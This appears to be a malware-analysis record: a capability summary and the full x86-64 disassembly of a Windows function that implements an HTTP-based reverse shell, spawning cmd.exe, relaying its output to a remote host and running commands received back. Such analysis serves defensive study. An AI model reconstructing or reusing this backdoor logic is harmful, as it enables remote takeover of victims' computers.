Function at 0x4026cf
Capabilities:
Read file on windows
Read pipe
Terminate process
Write file on windows

Disassembly:
push rbp
sub rsp, 0x550
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x4e0], rcx
mov qword [rbp + 0x4a8], 0
mov qword [rbp + 0x4a0], 0
mov qword [rbp + 0x498], 0
mov qword [rbp + 0x490], 0
mov dword [rbp + 0x470], 0x18
mov qword [rbp + 0x478], 0
mov dword [rbp + 0x480], 1
mov qword [rbp + 0x4c8], 0
mov dword [rbp + 0x4c0], 0
mov dword [rbp + 0x4b4], 2
mov dword [rbp + 0x4bc], 0
mov dword [rbp + 0x4b0], 0
movabs rax, 0x6d6572207327794d
movabs rdx, 0x6c6568732065746f
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov dword [rbp - 0x20], 0xd0a0d6c
mov word [rbp - 0x1c], 0xa
lea rax, [rbp - 0x30]
mov rdx, rax
mov rcx, qword [rbp + 0x4e0]
call sym.SendHTTP
mov rax, qword [0x004078d0]
mov r10, qword [rax]
lea rcx, [rbp + 0x470]
lea rdx, [rbp + 0x4a0]
lea rax, [rbp + 0x4a8]
mov r9d, 0
mov r8, rcx
mov rcx, rax
call r10
test eax, eax
jne 0x4027ea
lea rdx, str.Error_Creating_Pipes_For_Remote_Shell_r_nClosing_Connection...
mov rcx, qword [rbp + 0x4e0]
call sym.SendHTTP
jmp 0x402b65
mov rax, qword [0x004078d0]
mov r10, qword [rax]
lea rcx, [rbp + 0x470]
lea rdx, [rbp + 0x490]
lea rax, [rbp + 0x498]
mov r9d, 0
mov r8, rcx
mov rcx, rax
call r10
test eax, eax
jne 0x402834
lea rdx, str.Error_Creating_Pipes_For_Remote_Shell_r_nClosing_Connection...
mov rcx, qword [rbp + 0x4e0]
call sym.SendHTTP
jmp 0x402b65
mov rax, qword [0x00407910]
mov rdx, qword [rax]
lea rax, [rbp + 0x400]
mov rcx, rax
call rdx
mov dword [rbp + 0x43c], 0x101
mov word [rbp + 0x440], 0
mov rax, qword [rbp + 0x490]
mov qword [rbp + 0x458], rax
mov rax, qword [rbp + 0x490]
mov qword [rbp + 0x460], rax
mov rax, qword [rbp + 0x4a8]
mov qword [rbp + 0x450], rax
mov rax, qword [0x004078e0]
mov rax, qword [rax]
lea rdx, [rbp + 0x3e0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x400]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.C:WindowsSystem32cmd.exe
call rax
test eax, eax
jne 0x402901
lea rdx, str.Error_Spawning_Command_Prompt.__r_nClosing_Connection...
mov rcx, qword [rbp + 0x4e0]
call sym.SendHTTP
jmp 0x402b65
mov dword [rbp + 0x4b8], 0
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.DLL_Sleep]
call rax
mov rax, qword [rbp + 0x3e0]
lea rdx, [rbp + 0x3dc]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetExitCodeProcess]
call rax
mov eax, dword [rbp + 0x3dc]
cmp eax, 0x103
jne 0x402b64
mov dword [rbp + 0x4c0], 0
mov dword [rbp + 0x4c4], 1
add dword [rbp + 0x4b8], 1
mov rax, qword [rbp + 0x498]
mov qword [rsp + 0x28], 0
lea rdx, [rbp + 0x3dc]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_PeekNamedPipe]
call rax
mov eax, dword [rbp + 0x3dc]
test eax, eax
je 0x402a86
lea rax, [rbp - 0x10]
mov r8d, 0x3e9
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x4c0]
cmp eax, dword [rbp + 0x4b4]
jl 0x4029d5
mov dword [rbp + 0x4c0], 0
mov rax, qword [rbp + 0x498]
lea rcx, [rbp + 0x3dc]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x3e8
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_ReadFile]
call rax
mov eax, dword [rbp + 0x3dc]
test eax, eax
je 0x402a1c
mov eax, dword [rbp + 0x3dc]
mov eax, eax
mov byte [rbp + rax - 0x10], 0
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.DLL_Sleep]
call rax
cmp dword [rbp + 0x4c4], 0
je 0x402a5d
mov eax, dword [rbp + 0x4bc]
cdqe
lea rdx, [rbp - 0x10]
add rax, rdx
mov rdx, rax
mov rcx, qword [rbp + 0x4e0]
call sym.SendHTTP
mov dword [rbp + 0x4c4], 0
jmp 0x402a70
lea rax, [rbp - 0x10]
mov rdx, rax
mov rcx, qword [rbp + 0x4e0]
call sym.SendHTTP
mov eax, dword [rbp + 0x3dc]
cmp eax, 0x3e8
je 0x4029d5
jmp 0x40295f
mov eax, dword [rbp + 0x4c0]
cmp eax, dword [rbp + 0x4b4]
jge 0x402aae
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.DLL_Sleep]
call rax
add dword [rbp + 0x4c0], 1
jmp 0x40295f
nop
cmp qword [rbp + 0x4c8], 0
je 0x402add
mov rax, qword [rbp + 0x4c8]
lea rdx, [0x00407157]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x402add
mov dword [rbp + 0x4bc], 0
mov rcx, qword [rbp + 0x4e0]
call sym.RecieveHTTP
mov qword [rbp + 0x4c8], rax
cmp qword [rbp + 0x4c8], 0
je 0x402b53
mov rax, qword [rbp + 0x4c8]
mov rcx, rax
call sym.strlen
mov r8d, eax
mov rax, qword [rbp + 0x4a0]
lea rcx, [rbp + 0x3dc]
mov rdx, qword [rbp + 0x4c8]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_WriteFile]
call rax
mov rax, qword [rbp + 0x4c8]
mov rcx, rax
call sym.free
mov qword [rbp + 0x4c8], 0
mov eax, dword [rbp + 0x4b0]
mov dword [rbp + 0x4bc], eax
jmp 0x40290b
nop
mov rax, qword [rbp + 0x3e0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_TerminateProcess]
call rax
mov rax, qword [rbp + 0x4a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_CloseHandle]
call rax
mov rax, qword [rbp + 0x4a0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_CloseHandle]
call rax
mov rax, qword [rbp + 0x498]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_CloseHandle]
call rax
mov rax, qword [rbp + 0x490]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_CloseHandle]
call rax
nop
add rsp, 0x550
pop rbp
ret